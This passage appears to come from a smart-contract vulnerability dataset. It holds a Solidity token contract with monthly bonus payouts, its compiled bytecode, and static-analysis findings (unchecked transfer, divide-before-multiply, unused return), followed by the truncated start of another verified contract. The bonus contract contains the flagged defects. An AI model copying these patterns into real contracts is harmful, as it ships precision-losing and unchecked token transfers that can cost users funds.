super.transferFrom(_from, _to, _value); if (result && currentTimeIndex < bonusTimeList.length) { bonus(_from); bonus(_to); } return result; } function transfer(address _to, uint256 _value) public returns (bool) { bool result = super.transfer(_to, _value); if (result && currentTimeIndex < bonusTimeList.length) { bonus(msg.sender); bonus(_to); } return result; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { bool result = super.mint(_to, _amount); if (result) { bonus(_to); } return result; } function burn(uint256 _value) public { super.burn(_value); if (currentTimeIndex < bonusTimeList.length) { bonus(msg.sender); } } // -------------------------------------------------------- mapping(address => User) public users; struct User { uint256 txTimestamp; uint256[] monthBalance; uint8 monthIndex; uint256[] receiveBonus; uint8 receiveIndex; } function bonus(address _address) internal { User storage user = users[_address]; tryNextTimeRange(); uint64 maxTime = bonusTimeList[currentTimeIndex]; if (user.txTimestamp > maxTime) { return; } uint64 minTime = 0; if (currentTimeIndex > 0) { minTime = bonusTimeList[currentTimeIndex-1]; } for (uint _i = user.monthBalance.length; _i <= currentTimeIndex; _i++) { user.monthBalance.push(0); } // first time if (user.txTimestamp == 0) { user.monthBalance[currentTimeIndex] = balances[_address]; user.monthIndex = currentTimeIndex; } else if (user.txTimestamp >= minTime) { user.monthBalance[currentTimeIndex] = balances[_address]; } else { // (user.txTimestamp < minTime) cross month uint256 pBalance = user.monthBalance[user.monthIndex]; for (uint8 i = user.monthIndex; i < currentTimeIndex; i++) { user.monthBalance[i] = pBalance; } user.monthBalance[currentTimeIndex] = balances[_address]; user.monthIndex = currentTimeIndex; } user.txTimestamp = now; } function tryNextTimeRange() internal { uint8 len = uint8(bonusTimeList.length) - 1; uint64 _now = uint64(now); for(; currentTimeIndex < len; currentTimeIndex++) { if (bonusTimeList[currentTimeIndex] >= _now) { break; } } } function receiveBonus() public { tryNextTimeRange(); if (currentTimeIndex == 0) { return; } address addr = msg.sender; User storage user = users[addr]; if (user.monthIndex < currentTimeIndex) { bonus(addr); } User storage xuser = users[addr]; if (xuser.receiveIndex == xuser.monthIndex || xuser.receiveIndex >= bonusTimeList.length) { return; } require(user.receiveIndex < user.monthIndex); uint8 monthInterval = xuser.monthIndex - xuser.receiveIndex; uint256 bonusToken = 0; if (monthInterval > 6) { uint8 _length = monthInterval - 6; for (uint8 j = 0; j < _length; j++) { xuser.receiveBonus.push(0); xuser.receiveIndex++; } } uint256 balance = xuser.monthBalance[xuser.monthIndex]; for (uint8 i = xuser.receiveIndex; i < xuser.monthIndex; i++) { uint256 preMonthBonus = calculateBonusToken(i, balance); balance = preMonthBonus.add(balance); bonusToken = bonusToken.add(preMonthBonus); xuser.receiveBonus.push(preMonthBonus); xuser.receiveIndex++; } // 事件 ShowBonus(addr, bonusToken); if (bonusToken == 0) { return; } totalSupplyBonus = totalSupplyBonus.sub(bonusToken); this.transfer(addr, bonusToken); } function calculateBonusToken(uint8 _monthIndex, uint256 _balance) internal returns (uint256) { uint256 bonusToken = 0; if (_monthIndex < 12) { // 7.31606308769453% bonusToken = _balance.div(10000000000000000).mul(731606308769453); } else if (_monthIndex < 24) { // 2.11637098909784% bonusToken = _balance.div(10000000000000000).mul(211637098909784); } else if (_monthIndex < 36) { // 0.881870060450728% bonusToken = _balance.div(100000000000000000).mul(881870060450728); } return bonusToken; } function calculationTotalSupply() onlyOwner { uint256 u1 = totalSupply.div(10); uint256 year1 = u1.mul(4); uint256 year2 = u1.mul(2); uint256 year3 = u1; totalSupplyBonus = year1.add(year2).add(year3); } function recycleUnreceivedBonus(address _address) onlyOwner { tryNextTimeRange(); require(currentTimeIndex > 34); uint64 _now = uint64(now); uint64 maxTime = bonusTimeList[currentTimeIndex]; uint256 bonusToken = 0; // TODO 180 days uint64 finalTime = 180 days + maxTime; if (_now > finalTime) { bonusToken = totalSupplyBonus; totalSupplyBonus = 0; } require(bonusToken != 0); this.transfer(_address, bonusToken); } }
0x60606040523615610168576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461016d57806306fdde031461019a578063095ea7b314610228578063153aa7711461028257806318160ddd146102ab57806323b872dd146102d4578063305074511461034d578063313ce567146103625780633feb5f2b1461039157806340c10f19146103f457806342966c681461044e578063500b6b3e146104715780636618846314610486578063668e39f6146104e057806370a08231146105195780637c50fb2f146105665780637d64bcb4146105b15780638da5cb5b146105de57806395d89b4114610633578063a87430ba146106c1578063a9059cbb14610728578063c1f16bdc14610782578063cf40bb58146107cf578063d73dd623146107fe578063dd62ed3e14610858578063e319e7b9146108c4578063ed21187a14610906578063f2fde38b1461092f575b600080fd5b341561017857600080fd5b610180610968565b604051808215151515815260200191505060405180910390f35b34156101a557600080fd5b6101ad61097b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ed5780820151818401526020810190506101d2565b50505050905090810190601f16801561021a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023357600080fd5b610268600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109b4565b604051808215151515815260200191505060405180910390f35b341561028d57600080fd5b610295610b3b565b6040518082815260200191505060405180910390f35b34156102b657600080fd5b6102be610b41565b6040518082815260200191505060405180910390f35b34156102df57600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b47565b604051808215151515815260200191505060405180910390f35b341561035857600080fd5b610360610b9d565b005b341561036d57600080fd5b610375611031565b604051808260ff1660ff16815260200191505060405180910390f35b341561039c57600080fd5b6103b26004808035906020019091905050611036565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103ff57600080fd5b610434600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611075565b604051808215151515815260200191505060405180910390f35b341561045957600080fd5b61046f6004808035906020019091905050611116565b005b341561047c57600080fd5b61048461114b565b005b341561049157600080fd5b6104c6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611225565b604051808215151515815260200191505060405180910390f35b34156104eb57600080fd5b610517600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114b6565b005b341561052457600080fd5b610550600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116a5565b6040518082815260200191505060405180910390f35b341561057157600080fd5b61058760048080359060200190919050506116ee565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b34156105bc57600080fd5b6105c461172b565b604051808215151515815260200191505060405180910390f35b34156105e957600080fd5b6105f16117d7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561063e57600080fd5b6106466117fd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561068657808201518184015260208101905061066b565b50505050905090810190601f1680156106b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106cc57600080fd5b6106f8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611836565b604051808481526020018360ff1660ff1681526020018260ff1660ff168152602001935050505060405180910390f35b341561073357600080fd5b610768600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061187a565b604051808215151515815260200191505060405180910390f35b341561078d57600080fd5b6107b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118ce565b6040518082815260200191505060405180910390f35b34156107da57600080fd5b6107e2611973565b604051808260ff1660ff16815260200191505060405180910390f35b341561080957600080fd5b61083e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611986565b604051808215151515815260200191505060405180910390f35b341561086357600080fd5b6108ae600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b82565b6040518082815260200191505060405180910390f35b34156108cf57600080fd5b610904600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611c09565b005b341561091157600080fd5b610919611d8d565b6040518082815260200191505060405180910390f35b341561093a57600080fd5b610966600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611df6565b005b600360149054906101000a900460ff1681565b6040805190810160405280600d81526020017f50756e6469205820546f6b656e0000000000000000000000000000000000000081525081565b600080821480610a4057506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610a4b57600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60005481565b600080610b55858585611ed2565b9050808015610b7a5750600580549050600660009054906101000a900460ff1660ff16105b15610b9257610b88856121be565b610b91846121be565b5b809150509392505050565b600080600080600080600080600080610bb46125cd565b6000600660009054906101000a900460ff1660ff161415610bd457611025565b339950600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209850600660009054906101000a900460ff1660ff168960020160009054906101000a900460ff1660ff161015610c5057610c4f8a6121be565b5b600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002097508760020160009054906101000a900460ff1660ff168860040160009054906101000a900460ff1660ff161480610ce057506005805490508860040160009054906101000a900460ff1660ff1610155b15610cea57611025565b8860020160009054906101000a900460ff1660ff168960040160009054906101000a900460ff1660ff16101515610d2057600080fd5b8760040160009054906101000a900460ff168860020160009054906101000a900460ff160396506000955060068760ff161115610ddd57600687039450600093505b8460ff168460ff161015610ddc57876003018054806001018281610d869190612cbc565b91600052602060002090016000809091909150555087600401600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff160217905550508380600101945050610d62565b5b876001018860020160009054906101000a900460ff1660ff16815481101515610e0257fe5b90600052602060002090015492508760040160009054906101000a900460ff1691505b8760020160009054906101000a900460ff1660ff168260ff161015610ee657610e4e82846126a3565b9050610e63838261278490919063ffffffff16565b9250610e78818761278490919063ffffffff16565b9550876003018054806001018281610e909190612cbc565b91600052602060002090016000839091909150555087600401600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff160217905550508180600101925050610e25565b8973ffffffffffffffffffffffffffffffffffffffff167f9068881fcedccd6ef7baa02c4176cbb2f3e9a4215ac113330d36e6d3ca1d5498876040518082815260200191505060405180910390a26000861415610f4257611025565b610f57866004546127a290919063ffffffff16565b6004819055503073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8b886000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561100857600080fd5b6102c65a03f1151561101957600080fd5b50505060405180519050505b50505050505050505050565b601281565b60088181548110151561104557fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d457600080fd5b600360149054906101000a900460ff161515156110f057600080fd5b6110fa84846127bb565b9050801561110c5761110b846121be565b5b8091505092915050565b61111f8161298d565b600580549050600660009054906101000a900460ff1660ff16101561114857611147336121be565b5b50565b600080600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111ad57600080fd5b6111c3600a600054612a9890919063ffffffff16565b93506111d9600485612ab390919063ffffffff16565b92506111ef600285612ab390919063ffffffff16565b91508390506112198161120b848661278490919063ffffffff16565b61278490919063ffffffff16565b60048190555050505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611336576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113ca565b61134983826127a290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600080600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151857600080fd5b6115206125cd565b6022600660009054906101000a900460ff1660ff1611151561154157600080fd5b4293506005600660009054906101000a900460ff1660ff1681548110151561156557fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff169250600091508262ed4e000190508067ffffffffffffffff168467ffffffffffffffff1611156115c757600454915060006004819055505b600082141515156115d757600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561168257600080fd5b6102c65a03f1151561169357600080fd5b50505060405180519050505050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6005818154811015156116fd57fe5b9060005260206000209060049182820401919006600802915054906101000a900467ffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178957600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f505853000000000000000000000000000000000000000000000000000000000081525081565b60096020528060005260406000206000915090508060000154908060020160009054906101000a900460ff16908060040160009054906101000a900460ff16905083565b6000806118878484612ae6565b90508080156118ac5750600580549050600660009054906101000a900460ff1660ff16105b156118c4576118ba336121be565b6118c3846121be565b5b8091505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561192c57600080fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900460ff1681565b6000611a1782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c6757600080fd5b600360149054906101000a900460ff16151515611c8357600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415611d325760088054806001018281611ce29190612ce8565b9160005260206000209001600085909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b611d45828261278490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611deb57600080fd5b600880549050905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e5257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e8e57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611f1157600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611fe283600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a290919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061207783600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120cd83826127a290919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600080600080600080600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002095506122106125cd565b6005600660009054906101000a900460ff1660ff1681548110151561223157fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1694508467ffffffffffffffff1686600001541115612278576125c4565b600093506000600660009054906101000a900460ff1660ff1611156122e85760056001600660009054906101000a900460ff160360ff168154811015156122bb57fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1693505b856001018054905092505b600660009054906101000a900460ff1660ff1683111515612346578560010180548060010182816123249190612cbc565b91600052602060002090016000809091909150555082806001019350506122f3565b6000866000015414156123f657600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486600101600660009054906101000a900460ff1660ff168154811015156123b657fe5b906000526020600020900181905550600660009054906101000a900460ff168660020160006101000a81548160ff021916908360ff1602179055506125ba565b8367ffffffffffffffff16866000015410151561248457600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486600101600660009054906101000a900460ff1660ff1681548110151561247057fe5b9060005260206000209001819055506125b9565b856001018660020160009054906101000a900460ff1660ff168154811015156124a957fe5b90600052602060002090015491508560020160009054906101000a900460ff1690505b600660009054906101000a900460ff1660ff168160ff16101561251a5781866001018260ff168154811015156124fe57fe5b90600052602060002090018190555080806001019150506124cc565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486600101600660009054906101000a900460ff1660ff1681548110151561257d57fe5b906000526020600020900181905550600660009054906101000a900460ff168660020160006101000a81548160ff021916908360ff1602179055505b5b4286600001819055505b50505050505050565b60008060016005805490500391504290505b8160ff16600660009054906101000a900460ff1660ff16101561269f578067ffffffffffffffff166005600660009054906101000a900460ff1660ff1681548110151561262857fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1667ffffffffffffffff161015156126685761269f565b6006600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff160217905550506125df565b5050565b60008060009050600c8460ff1610156126f0576126e9660299645e264ead6126db662386f26fc1000086612a9890919063ffffffff16565b612ab390919063ffffffff16565b905061277a565b60188460ff1610156127355761272e65c07b9a1a1058612720662386f26fc1000086612a9890919063ffffffff16565b612ab390919063ffffffff16565b9050612779565b60248460ff161015612778576127756603220e5fb0f3a861276767016345785d8a000086612a9890919063ffffffff16565b612ab390919063ffffffff16565b90505b5b5b8091505092915050565b600080828401905083811015151561279857fe5b8091505092915050565b60008282111515156127b057fe5b818303905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561281957600080fd5b600360149054906101000a900460ff1615151561283557600080fd5b61284a8260005461278490919063ffffffff16565b6000819055506128a282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561299d57600080fd5b3390506129f282600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a290919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a4a826000546127a290919063ffffffff16565b600081905550818173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca560405160405180910390a35050565b6000808284811515612aa657fe5b0490508091505092915050565b60008082840290506000841480612ad45750828482811515612ad157fe5b04145b1515612adc57fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612b2357600080fd5b612b7582600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c0a82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b815481835581811511612ce357818360005260206000209182019101612ce29190612d14565b5b505050565b815481835581811511612d0f57818360005260206000209182019101612d0e9190612d14565b5b505050565b612d3691905b80821115612d32576000816000905550600101612d1a565b5090565b905600a165627a7a7230582042c64deb81c720297448b8ad9de371a29d6407a352383a64b6a0dae67b2fc18c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,675
0x47856D827F772147976296ddB12745d2Fc15973F
/** *Submitted for verification at Etherscan.io on 2021-04-02 */ pragma solidity 0.6.11; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * 